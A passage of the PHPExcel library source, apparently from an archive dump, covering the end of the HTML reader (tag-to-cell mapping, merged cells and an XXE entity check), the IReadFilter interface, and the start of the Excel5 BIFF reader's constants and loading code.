GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** PHPExcel root directory */ class PHPExcel_Reader_HTML extends PHPExcel_Reader_Abstract implements PHPExcel_Reader_IReader { /** * Input encoding * * @var string */ protected $inputEncoding = 'ANSI'; /** * Sheet index to read * * @var int */ protected $sheetIndex = 0; /** * Formats * * @var array */ protected $formats = array( 'h1' => array( 'font' => array( 'bold' => true, 'size' => 24, ), ), // Bold, 24pt 'h2' => array( 'font' => array( 'bold' => true, 'size' => 18, ), ), // Bold, 18pt 'h3' => array( 'font' => array( 'bold' => true, 'size' => 13.5, ), ), // Bold, 13.5pt 'h4' => array( 'font' => array( 'bold' => true, 'size' => 12, ), ), // Bold, 12pt 'h5' => array( 'font' => array( 'bold' => true, 'size' => 10, ), ), // Bold, 10pt 'h6' => array( 'font' => array( 'bold' => true, 'size' => 7.5, ), ), // Bold, 7.5pt 'a' => array( 'font' => array( 'underline' => true, 'color' => array( 'argb' => PHPExcel_Style_Color::COLOR_BLUE, ), ), ), // Blue underlined 'hr' => array( 'borders' => array( 'bottom' => array( 'style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array( PHPExcel_Style_Color::COLOR_BLACK, ), ), ), ), // Bottom border ); protected $rowspan = array(); /** * Create a new PHPExcel_Reader_HTML */ public function __construct() { $this->readFilter = new PHPExcel_Reader_DefaultReadFilter(); } /** * Validate that the current file is an HTML file * * @return boolean */ protected function isValidFormat() { // Reading 2048 bytes should be enough to validate that the format is HTML $data = fread($this->fileHandle, 2048); if ((strpos($data, '<') !== false) && (strlen($data) !== strlen(strip_tags($data)))) { return true; } return false; } /** * Loads PHPExcel from file * * @param string $pFilename * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function load($pFilename) { // Create new PHPExcel $objPHPExcel = new PHPExcel(); // Load into this instance return $this->loadIntoExisting($pFilename, $objPHPExcel); } /** * Set input encoding * * @param string $pValue Input encoding */ public function setInputEncoding($pValue = 'ANSI') { $this->inputEncoding = $pValue; return $this; } /** * Get input encoding * * @return string */ public function getInputEncoding() { return $this->inputEncoding; } // Data Array used for testing only, should write to PHPExcel object on completion of tests protected $dataArray = array(); protected $tableLevel = 0; protected $nestedColumn = array('A'); protected function setTableStartColumn($column) { if ($this->tableLevel == 0) { $column = 'A'; } ++$this->tableLevel; $this->nestedColumn[$this->tableLevel] = $column; return $this->nestedColumn[$this->tableLevel]; } protected function getTableStartColumn() { return $this->nestedColumn[$this->tableLevel]; } protected function releaseTableStartColumn() { --$this->tableLevel; return array_pop($this->nestedColumn); } protected function flushCell($sheet, $column, $row, &$cellContent) { if (is_string($cellContent)) { // Simple String content if (trim($cellContent) > '') { // Only actually write it if there's content in the string // echo 'FLUSH CELL: ' , $column , $row , ' => ' , $cellContent , '<br />'; // Write to worksheet to be done here... // ... we return the cell so we can mess about with styles more easily $sheet->setCellValue($column . $row, $cellContent, true); $this->dataArray[$row][$column] = $cellContent; } } else { // We have a Rich Text run // TODO $this->dataArray[$row][$column] = 'RICH TEXT: ' . $cellContent; } $cellContent = (string) ''; } protected function processDomElement(DOMNode $element, $sheet, &$row, &$column, &$cellContent, $format = null) { foreach ($element->childNodes as $child) { if ($child instanceof DOMText) { $domText = preg_replace('/\s+/u', ' ', trim($child->nodeValue)); if (is_string($cellContent)) { // simply append the text if the cell content is a plain text string $cellContent .= $domText; } else { // but if we have a rich text run instead, we need to append it correctly // TODO } } elseif ($child instanceof DOMElement) { // echo '<b>DOM ELEMENT: </b>' , strtoupper($child->nodeName) , '<br />'; $attributeArray = array(); foreach ($child->attributes as $attribute) { // echo '<b>ATTRIBUTE: </b>' , $attribute->name , ' => ' , $attribute->value , '<br />'; $attributeArray[$attribute->name] = $attribute->value; } switch ($child->nodeName) { case 'meta': foreach ($attributeArray as $attributeName => $attributeValue) { switch ($attributeName) { case 'content': // TODO // Extract character set, so we can convert to UTF-8 if required break; } } $this->processDomElement($child, $sheet, $row, $column, $cellContent); break; case 'title': $this->processDomElement($child, $sheet, $row, $column, $cellContent); $sheet->setTitle($cellContent); $cellContent = ''; break; case 'span': case 'div': case 'font': case 'i': case 'em': case 'strong': case 'b': // echo 'STYLING, SPAN OR DIV<br />'; if ($cellContent > '') { $cellContent .= ' '; } $this->processDomElement($child, $sheet, $row, $column, $cellContent); if ($cellContent > '') { $cellContent .= ' '; } // echo 'END OF STYLING, SPAN OR DIV<br />'; break; case 'hr': $this->flushCell($sheet, $column, $row, $cellContent); ++$row; if (isset($this->formats[$child->nodeName])) { $sheet->getStyle($column . $row)->applyFromArray($this->formats[$child->nodeName]); } else { $cellContent = '----------'; $this->flushCell($sheet, $column, $row, $cellContent); } ++$row; // Add a break after a horizontal rule, simply by allowing the code to dropthru case 'br': if ($this->tableLevel > 0) { // If we're inside a table, replace with a \n $cellContent .= "\n"; } else { // Otherwise flush our existing content and move the row cursor on $this->flushCell($sheet, $column, $row, $cellContent); ++$row; } // echo 'HARD LINE BREAK: ' , '<br />'; break; case 'a': // echo 'START OF HYPERLINK: ' , '<br />'; foreach ($attributeArray as $attributeName => $attributeValue) { switch ($attributeName) { case 'href': // echo 'Link to ' , $attributeValue , '<br />'; $sheet->getCell($column . $row)->getHyperlink()->setUrl($attributeValue); if (isset($this->formats[$child->nodeName])) { $sheet->getStyle($column . $row)->applyFromArray($this->formats[$child->nodeName]); } break; } } $cellContent .= ' '; $this->processDomElement($child, $sheet, $row, $column, $cellContent); // echo 'END OF HYPERLINK:' , '<br />'; break; case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': case 'ol': case 'ul': case 'p': if ($this->tableLevel > 0) { // If we're inside a table, replace with a \n $cellContent .= "\n"; // echo 'LIST ENTRY: ' , '<br />'; $this->processDomElement($child, $sheet, $row, $column, $cellContent); // echo 'END OF LIST ENTRY:' , '<br />'; } else { if ($cellContent > '') { $this->flushCell($sheet, $column, $row, $cellContent); $row++; } // echo 'START OF PARAGRAPH: ' , '<br />'; $this->processDomElement($child, $sheet, $row, $column, $cellContent); // echo 'END OF PARAGRAPH:' , '<br />'; $this->flushCell($sheet, $column, $row, $cellContent); if (isset($this->formats[$child->nodeName])) { $sheet->getStyle($column . $row)->applyFromArray($this->formats[$child->nodeName]); } $row++; $column = 'A'; } break; case 'li': if ($this->tableLevel > 0) { // If we're inside a table, replace with a \n $cellContent .= "\n"; // echo 'LIST ENTRY: ' , '<br />'; $this->processDomElement($child, $sheet, $row, $column, $cellContent); // echo 'END OF LIST ENTRY:' , '<br />'; } else { if ($cellContent > '') { $this->flushCell($sheet, $column, $row, $cellContent); } ++$row; // echo 'LIST ENTRY: ' , '<br />'; $this->processDomElement($child, $sheet, $row, $column, $cellContent); // echo 'END OF LIST ENTRY:' , '<br />'; $this->flushCell($sheet, $column, $row, $cellContent); $column = 'A'; } break; case 'table': $this->flushCell($sheet, $column, $row, $cellContent); $column = $this->setTableStartColumn($column); // echo 'START OF TABLE LEVEL ' , $this->tableLevel , '<br />'; if ($this->tableLevel > 1) { --$row; } $this->processDomElement($child, $sheet, $row, $column, $cellContent); // echo 'END OF TABLE LEVEL ' , $this->tableLevel , '<br />'; $column = $this->releaseTableStartColumn(); if ($this->tableLevel > 1) { ++$column; } else { ++$row; } break; case 'thead': case 'tbody': $this->processDomElement($child, $sheet, $row, $column, $cellContent); break; case 'tr': $column = $this->getTableStartColumn(); $cellContent = ''; // echo 'START OF TABLE ' , $this->tableLevel , ' ROW<br />'; $this->processDomElement($child, $sheet, $row, $column, $cellContent); ++$row; // echo 'END OF TABLE ' , $this->tableLevel , ' ROW<br />'; break; case 'th': case 'td': // echo 'START OF TABLE ' , $this->tableLevel , ' CELL<br />'; $this->processDomElement($child, $sheet, $row, $column, $cellContent); // echo 'END OF TABLE ' , $this->tableLevel , ' CELL<br />'; while (isset($this->rowspan[$column . $row])) { ++$column; } $this->flushCell($sheet, $column, $row, $cellContent); // if (isset($attributeArray['style']) && !empty($attributeArray['style'])) { // $styleAry = $this->getPhpExcelStyleArray($attributeArray['style']); // // if (!empty($styleAry)) { // $sheet->getStyle($column . $row)->applyFromArray($styleAry); // } // } if (isset($attributeArray['rowspan']) && isset($attributeArray['colspan'])) { //create merging rowspan and colspan $columnTo = $column; for ($i = 0; $i < $attributeArray['colspan'] - 1; $i++) { ++$columnTo; } $range = $column . $row . ':' . $columnTo . ($row + $attributeArray['rowspan'] - 1); foreach (\PHPExcel_Cell::extractAllCellReferencesInRange($range) as $value) { $this->rowspan[$value] = true; } $sheet->mergeCells($range); $column = $columnTo; } elseif (isset($attributeArray['rowspan'])) { //create merging rowspan $range = $column . $row . ':' . $column . ($row + $attributeArray['rowspan'] - 1); foreach (\PHPExcel_Cell::extractAllCellReferencesInRange($range) as $value) { $this->rowspan[$value] = true; } $sheet->mergeCells($range); } elseif (isset($attributeArray['colspan'])) { //create merging colspan $columnTo = $column; for ($i = 0; $i < $attributeArray['colspan'] - 1; $i++) { ++$columnTo; } $sheet->mergeCells($column . $row . ':' . $columnTo . $row); $column = $columnTo; } ++$column; break; case 'body': $row = 1; $column = 'A'; $content = ''; $this->tableLevel = 0; $this->processDomElement($child, $sheet, $row, $column, $cellContent); break; default: $this->processDomElement($child, $sheet, $row, $column, $cellContent); } } } } /** * Loads PHPExcel from file into PHPExcel instance * * @param string $pFilename * @param PHPExcel $objPHPExcel * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function loadIntoExisting($pFilename, PHPExcel $objPHPExcel) { // Open file to validate $this->openFile($pFilename); if (!$this->isValidFormat()) { fclose($this->fileHandle); throw new PHPExcel_Reader_Exception($pFilename . " is an Invalid HTML file."); } // Close after validating fclose($this->fileHandle); // Create new PHPExcel while ($objPHPExcel->getSheetCount() <= $this->sheetIndex) { $objPHPExcel->createSheet(); } $objPHPExcel->setActiveSheetIndex($this->sheetIndex); // Create a new DOM object $dom = new domDocument; // Reload the HTML file into the DOM object $loaded = $dom->loadHTML(mb_convert_encoding($this->securityScanFile($pFilename), 'HTML-ENTITIES', 'UTF-8')); if ($loaded === false) { throw new PHPExcel_Reader_Exception('Failed to load ' . $pFilename . ' as a DOM Document'); } // Discard white space $dom->preserveWhiteSpace = false; $row = 0; $column = 'A'; $content = ''; $this->processDomElement($dom, $objPHPExcel->getActiveSheet(), $row, $column, $content); // Return return $objPHPExcel; } /** * Get sheet index * * @return int */ public function getSheetIndex() { return $this->sheetIndex; } /** * Set sheet index * * @param int $pValue Sheet index * @return PHPExcel_Reader_HTML */ public function setSheetIndex($pValue = 0) { $this->sheetIndex = $pValue; return $this; } /** * Scan theXML for use of <!ENTITY to prevent XXE/XEE attacks * * @param string $xml * @throws PHPExcel_Reader_Exception */ public function securityScan($xml) { $pattern = '/\\0?' . implode('\\0?', str_split('<!ENTITY')) . '\\0?/'; if (preg_match($pattern, $xml)) { throw new PHPExcel_Reader_Exception('Detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks'); } return $xml; } } PHPExcel/Reader/IReadFilter.php 0000644 00000002676 14642534110 0012234 0 ustar 00 <?php /** * PHPExcel_Reader_IReadFilter * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ interface PHPExcel_Reader_IReadFilter { /** * Should this cell be read? * * @param $column Column address (as a string value like "A", or "IV") * @param $row Row number * @param $worksheetName Optional worksheet name * @return boolean */ public function readCell($column, $row, $worksheetName = ''); } PHPExcel/Reader/Excel5.php 0000644 00001073440 14642534110 0011225 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Reader_Excel5 * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ // Original file header of ParseXL (used as the base for this class): // -------------------------------------------------------------------------------- // Adapted from Excel_Spreadsheet_Reader developed by users bizon153, // trex005, and mmp11 (SourceForge.net) // http://sourceforge.net/projects/phpexcelreader/ // Primary changes made by canyoncasa (dvc) for ParseXL 1.00 ... // Modelled moreso after Perl Excel Parse/Write modules // Added Parse_Excel_Spreadsheet object // Reads a whole worksheet or tab as row,column array or as // associated hash of indexed rows and named column fields // Added variables for worksheet (tab) indexes and names // Added an object call for loading individual woorksheets // Changed default indexing defaults to 0 based arrays // Fixed date/time and percent formats // Includes patches found at SourceForge... // unicode patch by nobody // unpack("d") machine depedency patch by matchy // boundsheet utf16 patch by bjaenichen // Renamed functions for shorter names // General code cleanup and rigor, including <80 column width // Included a testcase Excel file and PHP example calls // Code works for PHP 5.x // Primary changes made by canyoncasa (dvc) for ParseXL 1.10 ... // http://sourceforge.net/tracker/index.php?func=detail&aid=1466964&group_id=99160&atid=623334 // Decoding of formula conditions, results, and tokens. // Support for user-defined named cells added as an array "namedcells" // Patch code for user-defined named cells supports single cells only. // NOTE: this patch only works for BIFF8 as BIFF5-7 use a different // external sheet reference structure class PHPExcel_Reader_Excel5 extends PHPExcel_Reader_Abstract implements PHPExcel_Reader_IReader { // ParseXL definitions const XLS_BIFF8 = 0x0600; const XLS_BIFF7 = 0x0500; const XLS_WorkbookGlobals = 0x0005; const XLS_Worksheet = 0x0010; // record identifiers const XLS_TYPE_FORMULA = 0x0006; const XLS_TYPE_EOF = 0x000a; const XLS_TYPE_PROTECT = 0x0012; const XLS_TYPE_OBJECTPROTECT = 0x0063; const XLS_TYPE_SCENPROTECT = 0x00dd; const XLS_TYPE_PASSWORD = 0x0013; const XLS_TYPE_HEADER = 0x0014; const XLS_TYPE_FOOTER = 0x0015; const XLS_TYPE_EXTERNSHEET = 0x0017; const XLS_TYPE_DEFINEDNAME = 0x0018; const XLS_TYPE_VERTICALPAGEBREAKS = 0x001a; const XLS_TYPE_HORIZONTALPAGEBREAKS = 0x001b; const XLS_TYPE_NOTE = 0x001c; const XLS_TYPE_SELECTION = 0x001d; const XLS_TYPE_DATEMODE = 0x0022; const XLS_TYPE_EXTERNNAME = 0x0023; const XLS_TYPE_LEFTMARGIN = 0x0026; const XLS_TYPE_RIGHTMARGIN = 0x0027; const XLS_TYPE_TOPMARGIN = 0x0028; const XLS_TYPE_BOTTOMMARGIN = 0x0029; const XLS_TYPE_PRINTGRIDLINES = 0x002b; const XLS_TYPE_FILEPASS = 0x002f; const XLS_TYPE_FONT = 0x0031; const XLS_TYPE_CONTINUE = 0x003c; const XLS_TYPE_PANE = 0x0041; const XLS_TYPE_CODEPAGE = 0x0042; const XLS_TYPE_DEFCOLWIDTH = 0x0055; const XLS_TYPE_OBJ = 0x005d; const XLS_TYPE_COLINFO = 0x007d; const XLS_TYPE_IMDATA = 0x007f; const XLS_TYPE_SHEETPR = 0x0081; const XLS_TYPE_HCENTER = 0x0083; const XLS_TYPE_VCENTER = 0x0084; const XLS_TYPE_SHEET = 0x0085; const XLS_TYPE_PALETTE = 0x0092; const XLS_TYPE_SCL = 0x00a0; const XLS_TYPE_PAGESETUP = 0x00a1; const XLS_TYPE_MULRK = 0x00bd; const XLS_TYPE_MULBLANK = 0x00be; const XLS_TYPE_DBCELL = 0x00d7; const XLS_TYPE_XF = 0x00e0; const XLS_TYPE_MERGEDCELLS = 0x00e5; const XLS_TYPE_MSODRAWINGGROUP = 0x00eb; const XLS_TYPE_MSODRAWING = 0x00ec; const XLS_TYPE_SST = 0x00fc; const XLS_TYPE_LABELSST = 0x00fd; const XLS_TYPE_EXTSST = 0x00ff; const XLS_TYPE_EXTERNALBOOK = 0x01ae; const XLS_TYPE_DATAVALIDATIONS = 0x01b2; const XLS_TYPE_TXO = 0x01b6; const XLS_TYPE_HYPERLINK = 0x01b8; const XLS_TYPE_DATAVALIDATION = 0x01be; const XLS_TYPE_DIMENSION = 0x0200; const XLS_TYPE_BLANK = 0x0201; const XLS_TYPE_NUMBER = 0x0203; const XLS_TYPE_LABEL = 0x0204; const XLS_TYPE_BOOLERR = 0x0205; const XLS_TYPE_STRING = 0x0207; const XLS_TYPE_ROW = 0x0208; const XLS_TYPE_INDEX = 0x020b; const XLS_TYPE_ARRAY = 0x0221; const XLS_TYPE_DEFAULTROWHEIGHT = 0x0225; const XLS_TYPE_WINDOW2 = 0x023e; const XLS_TYPE_RK = 0x027e; const XLS_TYPE_STYLE = 0x0293; const XLS_TYPE_FORMAT = 0x041e; const XLS_TYPE_SHAREDFMLA = 0x04bc; const XLS_TYPE_BOF = 0x0809; const XLS_TYPE_SHEETPROTECTION = 0x0867; const XLS_TYPE_RANGEPROTECTION = 0x0868; const XLS_TYPE_SHEETLAYOUT = 0x0862; const XLS_TYPE_XFEXT = 0x087d; const XLS_TYPE_PAGELAYOUTVIEW = 0x088b; const XLS_TYPE_UNKNOWN = 0xffff; // Encryption type const MS_BIFF_CRYPTO_NONE = 0; const MS_BIFF_CRYPTO_XOR = 1; const MS_BIFF_CRYPTO_RC4 = 2; // Size of stream blocks when using RC4 encryption const REKEY_BLOCK = 0x400; /** * Summary Information stream data. * * @var string */ private $summaryInformation; /** * Extended Summary Information stream data. * * @var string */ private $documentSummaryInformation; /** * User-Defined Properties stream data. * * @var string */ private $userDefinedProperties; /** * Workbook stream data. (Includes workbook globals substream as well as sheet substreams) * * @var string */ private $data; /** * Size in bytes of $this->data * * @var int */ private $dataSize; /** * Current position in stream * * @var integer */ private $pos; /** * Workbook to be returned by the reader. * * @var PHPExcel */ private $phpExcel; /** * Worksheet that is currently being built by the reader. * * @var PHPExcel_Worksheet */ private $phpSheet; /** * BIFF version * * @var int */ private $version; /** * Codepage set in the Excel file being read. Only important for BIFF5 (Excel 5.0 - Excel 95) * For BIFF8 (Excel 97 - Excel 2003) this will always have the value 'UTF-16LE' * * @var string */ private $codepage; /** * Shared formats * * @var array */ private $formats; /** * Shared fonts * * @var array */ private $objFonts; /** * Color palette * * @var array */ private $palette; /** * Worksheets * * @var array */ private $sheets; /** * External books * * @var array */ private $externalBooks; /** * REF structures. Only applies to BIFF8. * * @var array */ private $ref; /** * External names * * @var array */ private $externalNames; /** * Defined names * * @var array */ private $definedname; /** * Shared strings. Only applies to BIFF8. * * @var array */ private $sst; /** * Panes are frozen? (in sheet currently being read). See WINDOW2 record. * * @var boolean */ private $frozen; /** * Fit printout to number of pages? (in sheet currently being read). See SHEETPR record. * * @var boolean */ private $isFitToPages; /** * Objects. One OBJ record contributes with one entry. * * @var array */ private $objs; /** * Text Objects. One TXO record corresponds with one entry. * * @var array */ private $textObjects; /** * Cell Annotations (BIFF8) * * @var array */ private $cellNotes; /** * The combined MSODRAWINGGROUP data * * @var string */ private $drawingGroupData; /** * The combined MSODRAWING data (per sheet) * * @var string */ private $drawingData; /** * Keep track of XF index * * @var int */ private $xfIndex; /** * Mapping of XF index (that is a cell XF) to final index in cellXf collection * * @var array */ private $mapCellXfIndex; /** * Mapping of XF index (that is a style XF) to final index in cellStyleXf collection * * @var array */ private $mapCellStyleXfIndex; /** * The shared formulas in a sheet. One SHAREDFMLA record contributes with one value. * * @var array */ private $sharedFormulas; /** * The shared formula parts in a sheet. One FORMULA record contributes with one value if it * refers to a shared formula. * * @var array */ private $sharedFormulaParts; /** * The type of encryption in use * * @var int */ private $encryption = 0; /** * The position in the stream after which contents are encrypted * * @var int */ private $encryptionStartPos = false; /** * The current RC4 decryption object * * @var PHPExcel_Reader_Excel5_RC4 */ private $rc4Key = null; /** * The position in the stream that the RC4 decryption object was left at * * @var int */ private $rc4Pos = 0; /** * The current MD5 context state * * @var string */ private $md5Ctxt = null; /** * Create a new PHPExcel_Reader_Excel5 instance */ public function __construct() { $this->readFilter = new PHPExcel_Reader_DefaultReadFilter(); } /** * Can the current PHPExcel_Reader_IReader read the file? * * @param string $pFilename * @return boolean * @throws PHPExcel_Reader_Exception */ public function canRead($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } try { // Use ParseXL for the hard work. $ole = new PHPExcel_Shared_OLERead(); // get excel data $res = $ole->read($pFilename); return true; } catch (PHPExcel_Exception $e) { return false; } } /** * Reads names of the worksheets from a file, without parsing the whole file to a PHPExcel object * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetNames($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $worksheetNames = array(); // Read the OLE file $this->loadOLE($pFilename); // total byte size of Excel data (workbook global substream + sheet substreams) $this->dataSize = strlen($this->data); $this->pos = 0; $this->sheets = array(); // Parse Workbook Global Substream while ($this->pos < $this->dataSize) { $code = self::getInt2d($this->data, $this->pos); switch ($code) { case self::XLS_TYPE_BOF: $this->readBof(); break; case self::XLS_TYPE_SHEET: $this->readSheet(); break; case self::XLS_TYPE_EOF: $this->readDefault(); break 2; default: $this->readDefault(); break; } } foreach ($this->sheets as $sheet) { if ($sheet['sheetType'] != 0x00) { // 0x00: Worksheet, 0x02: Chart, 0x06: Visual Basic module continue; } $worksheetNames[] = $sheet['name']; } return $worksheetNames; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns) * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetInfo($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $worksheetInfo = array(); // Read the OLE file $this->loadOLE($pFilename); // total byte size of Excel data (workbook global substream + sheet substreams) $this->dataSize = strlen($this->data); // initialize $this->pos = 0; $this->sheets = array(); // Parse Workbook Global Substream while ($this->pos < $this->dataSize) { $code = self::getInt2d($this->data, $this->pos); switch ($code) { case self::XLS_TYPE_BOF: $this->readBof(); break; case self::XLS_TYPE_SHEET: $this->readSheet(); break; case self::XLS_TYPE_EOF: $this->readDefault(); break 2; default: $this->readDefault(); break; } } // Parse the individual sheets foreach ($this->sheets as $sheet) { if ($sheet['sheetType'] != 0x00) { // 0x00: Worksheet // 0x02: Chart // 0x06: Visual Basic module continue; } $tmpInfo = array(); $tmpInfo['worksheetName'] = $sheet['name']; $tmpInfo['lastColumnLetter'] = 'A'; $tmpInfo['lastColumnIndex'] = 0; $tmpInfo['totalRows'] = 0; $tmpInfo['totalColumns'] = 0; $this->pos = $sheet['offset']; while ($this->pos <= $this->dataSize - 4) { $code = self::getInt2d($this->data, $this->pos); switch ($code) { case self::XLS_TYPE_RK: case self::XLS_TYPE_LABELSST: case self::XLS_TYPE_NUMBER: case self::XLS_TYPE_FORMULA: case self::XLS_TYPE_BOOLERR: case self::XLS_TYPE_LABEL: $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; $rowIndex = self::getInt2d($recordData, 0) + 1; $columnIndex = self::getInt2d($recordData, 2); $tmpInfo['totalRows'] = max($tmpInfo['totalRows'], $rowIndex); $tmpInfo['lastColumnIndex'] = max($tmpInfo['lastColumnIndex'], $columnIndex); break; case self::XLS_TYPE_BOF: $this->readBof(); break; case self::XLS_TYPE_EOF: $this->readDefault(); break 2; default: $this->readDefault(); break; } } $tmpInfo['lastColumnLetter'] = PHPExcel_Cell::stringFromColumnIndex($tmpInfo['lastColumnIndex']); $tmpInfo['totalColumns'] = $tmpInfo['lastColumnIndex'] + 1; $worksheetInfo[] = $tmpInfo; } return $worksheetInfo; } /** * Loads PHPExcel from file * * @param string $pFilename * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function load($pFilename) { // Read the OLE file $this->loadOLE($pFilename); // Initialisations $this->phpExcel = new PHPExcel; $this->phpExcel->removeSheetByIndex(0); // remove 1st sheet if (!$this->readDataOnly) { $this->phpExcel->removeCellStyleXfByIndex(0); // remove the default style $this->phpExcel->removeCellXfByIndex(0); // remove the default style } // Read the summary information stream (containing meta data) $this->readSummaryInformation(); // Read the Additional document summary information stream (containing application-specific meta data) $this->readDocumentSummaryInformation(); // total byte size of Excel data (workbook global substream + sheet substreams) $this->dataSize = strlen($this->data); // initialize $this->pos = 0; $this->codepage = 'CP1252'; $this->formats = array(); $this->objFonts = array(); $this->palette = array(); $this->sheets = array(); $this->externalBooks = array(); $this->ref = array(); $this->definedname = array(); $this->sst = array(); $this->drawingGroupData = ''; $this->xfIndex = ''; $this->mapCellXfIndex = array(); $this->mapCellStyleXfIndex = array(); // Parse Workbook Global Substream while ($this->pos < $this->dataSize) { $code = self::getInt2d($this->data, $this->pos); switch ($code) { case self::XLS_TYPE_BOF: $this->readBof(); break; case self::XLS_TYPE_FILEPASS: $this->readFilepass(); break; case self::XLS_TYPE_CODEPAGE: $this->readCodepage(); break; case self::XLS_TYPE_DATEMODE: $this->readDateMode(); break; case self::XLS_TYPE_FONT: $this->readFont(); break; case self::XLS_TYPE_FORMAT: $this->readFormat(); break; case self::XLS_TYPE_XF: $this->readXf(); break; case self::XLS_TYPE_XFEXT: $this->readXfExt(); break; case self::XLS_TYPE_STYLE: $this->readStyle(); break; case self::XLS_TYPE_PALETTE: $this->readPalette(); break; case self::XLS_TYPE_SHEET: $this->readSheet(); break; case self::XLS_TYPE_EXTERNALBOOK: $this->readExternalBook(); break; case self::XLS_TYPE_EXTERNNAME: $this->readExternName(); break; case self::XLS_TYPE_EXTERNSHEET: $this->readExternSheet(); break; case self::XLS_TYPE_DEFINEDNAME: $this->readDefinedName(); break; case self::XLS_TYPE_MSODRAWINGGROUP: $this->readMsoDrawingGroup(); break; case self::XLS_TYPE_SST: $this->readSst(); break; case self::XLS_TYPE_EOF: $this->readDefault(); break 2; default: $this->readDefault(); break; } } // Resolve indexed colors for font, fill, and border colors // Cannot be resolved already in XF record, because PALETTE record comes afterwards if (!$this->readDataOnly) { foreach ($this->objFonts as $objFont) { if (isset($objFont->colorIndex)) { $color = PHPExcel_Reader_Excel5_Color::map($objFont->colorIndex, $this->palette, $this->version); $objFont->getColor()->setRGB($color['rgb']); } } foreach ($this->phpExcel->getCellXfCollection() as $objStyle) { // fill start and end color $fill = $objStyle->getFill(); if (isset($fill->startcolorIndex)) { $startColor = PHPExcel_Reader_Excel5_Color::map($fill->startcolorIndex, $this->palette, $this->version); $fill->getStartColor()->setRGB($startColor['rgb']); } if (isset($fill->endcolorIndex)) { $endColor = PHPExcel_Reader_Excel5_Color::map($fill->endcolorIndex, $this->palette, $this->version); $fill->getEndColor()->setRGB($endColor['rgb']); } // border colors $top = $objStyle->getBorders()->getTop(); $right = $objStyle->getBorders()->getRight(); $bottom = $objStyle->getBorders()->getBottom(); $left = $objStyle->getBorders()->getLeft(); $diagonal = $objStyle->getBorders()->getDiagonal(); if (isset($top->colorIndex)) { $borderTopColor = PHPExcel_Reader_Excel5_Color::map($top->colorIndex, $this->palette, $this->version); $top->getColor()->setRGB($borderTopColor['rgb']); } if (isset($right->colorIndex)) { $borderRightColor = PHPExcel_Reader_Excel5_Color::map($right->colorIndex, $this->palette, $this->version); $right->getColor()->setRGB($borderRightColor['rgb']); } if (isset($bottom->colorIndex)) { $borderBottomColor = PHPExcel_Reader_Excel5_Color::map($bottom->colorIndex, $this->palette, $this->version); $bottom->getColor()->setRGB($borderBottomColor['rgb']); } if (isset($left->colorIndex)) { $borderLeftColor = PHPExcel_Reader_Excel5_Color::map($left->colorIndex, $this->palette, $this->version); $left->getColor()->setRGB($borderLeftColor['rgb']); } if (isset($diagonal->colorIndex)) { $borderDiagonalColor = PHPExcel_Reader_Excel5_Color::map($diagonal->colorIndex, $this->palette, $this->version); $diagonal->getColor()->setRGB($borderDiagonalColor['rgb']); } } } // treat MSODRAWINGGROUP records, workbook-level Escher if (!$this->readDataOnly && $this->drawingGroupData) { $escherWorkbook = new PHPExcel_Shared_Escher(); $reader = new PHPExcel_Reader_Excel5_Escher($escherWorkbook); $escherWorkbook = $reader->load($this->drawingGroupData); // debug Escher stream //$debug = new Debug_Escher(new PHPExcel_Shared_Escher()); //$debug->load($this->drawingGroupData); } // Parse the 